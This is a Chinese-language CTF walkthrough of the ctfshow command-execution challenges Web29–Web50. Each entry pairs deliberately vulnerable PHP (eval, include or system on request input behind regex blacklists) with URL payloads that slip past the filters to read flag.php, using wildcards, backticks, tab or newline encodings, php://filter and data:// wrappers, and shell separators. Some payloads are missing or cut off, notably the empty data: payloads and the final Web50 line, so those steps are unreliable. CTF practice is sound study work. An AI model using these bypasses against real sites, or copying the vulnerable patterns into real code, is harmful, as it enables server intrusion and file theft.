ctfshow-命令执行篇[Web29-Web50]

Web29

代码如下:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

命令里不能有flag,使用占位符?或者*:

/?c=system("ls");
/?c=system("tac fla*");
/?c=system("tac fla?.php");

注意,system()中如果不是单元命令需要双引号闭合,注入的结尾需要分号或者?>,因为是注入到php中的。

Web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

eval()函数就是把输入的字符串当作php代码去执行。
PHP 支持一个执行运算符:反引号(``)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“`”的效果与函数 shell_exec() 相同。
由此:可以

/?c=echo `tac *`;

或者使用cp复制文件后直接打开:

/?c=`cp fla?.??? 2.txt`;
/2.txt

Web31

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

有过滤了空格,使用%09绕过:

/?c=echo%09`tac%09fl*`;

或者可以逃逸:

/?c=eval($_GET[1]);&1=system("cat%20flag.php");

这样的话参数1不会有限制。不过使用cat命令后需要在源代码中查看flag:

Web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

%0a可以绕过空格,?>可以绕过;
使用命令逃逸加文件包含:

/?c=include%0a$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含。

Web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同上,可以使用require代替include进行文件包含:

/?c=require%0a$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

Web34

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

仍然可以使用上一题的payload:

/?c=require%0a$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

这里提一下,php总比较常用的可以不加括号的函数有:echoprintissetunsetincluderequire

Web35

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是可以使用上一题的方法(%0a去掉也可以):

/?c=require$_GET[1]?>&&1=php://filter/convert.base64-encode/resource=flag.php

Web36

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

同上,把1换成a就可以了:

/?c=require$_GET[a]?>&&a=php://filter/convert.base64-encode/resource=flag.php

Web37

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

考点是伪协议,data伪协议会把后面的字符串当成php代码去执行。

/?c=data://text/plain,
/?c=data:text/plain,

Web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

过滤了php,那么可以使用短标签绕过php:

/?c=data:text/plain,

Web39

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

同上,因为上面的payload有?>结尾进行闭合,所以添加的.php并没有影响。

/?c=data:text/plain,

Web40

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

一步一步来:
get_defined_vars — 返回由所有已定义变量所组成的数组
那么如果构造:

/?c=print_r(get_defined_vars());

并且使用POST方法传入1=phpinfo();,可
以获得如下返回信息:


接下来尝试将这个phpinfo();取出来:

/?c=print_r(next(get_defined_vars()));

使用next获取这个数组的下一个位置的元素,也就是POST的元素,结果如下:


那么把这个元素弹出就可以获得phpinfo();了:

/?c=print_r(array_pop(next(get_defined_vars())));

最后把这个弹出的字符执行一下即可。
那么最终的payload如下:

/?c=eval(array_pop(next(get_defined_vars())));

附带的POST数据如下:

1=system("tac fla?.php");

关于echoprintprint_r的区别可以参考:
https://blog.51cto.com/zlong37/1556855

还有一种方法,先打印出当前目录下的文件:

/?c=print_r(scandir(current(localeconv())));

然后再show_source一下

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

show_source() 函数对文件进行语法高亮显示。

本函数是highlight_file()的别名。

还有一种想法:

/?c=session_start();system(session_id());
passid=ls

Web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

参考:https://blog.csdn.net/miuzzx/article/details/108569080
就是使用或运算,把没有被过滤的字符变为需要的字符。

Web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

那么,综上,我们写入的命令的执行结果会被黑洞吞掉。

绕过方法也比较简单,直接用;闭合即可:

/?c=tac flag.php;ls

Web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

使用其他的命令分隔符;||&&
https://blog.csdn.net/lfs99/article/details/53179530
注意,通过url传递&&时要记得urlencode为%26%26,否则会被当作url参数的分隔符而不是shell命令的分隔符。

/?c=tac%20flag.php%26%26

Web44

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在上面的基础上过滤了flag,使用通配符即可:

/?c=tac fla?.php||

Web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又过滤了空格,使用%09绕过,注意这里面的空格时shell里面的空格,而不是php代码里面的空格。

/?c=tac%09fla?.php||

Web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又过滤了数字,不过还是可以使用上一题的payload,因为%09解码后就不是数字了,是一个水平制表符。

/?c=tac%09fla?.php||

Web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又过滤了一些文件读取命令,不过没有过滤tac,所以还是可以使用上一题payload:

/?c=tac%09fla?.php||

补充一下其他的命令读取操作:
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
strings

Web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

还是没有过滤到tac,所以继续使用上一题的payload:

/?c=tac%09fla?.php||

Web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

还是继续使用上一题的payload:

/?c=tac%09fla?.php||

Web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

nl命令在linux系统中用来计算文件中行号。nl可以将输出的文件内容自动的加上行号。
< 表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备。
所以可以使用<或者<>绕过空格,使用\插入到flag中:

/?c=tac<>fla\g.php||
/?c=nl

你可能感兴趣的:(ctfshow-命令执行篇[Web29-Web50])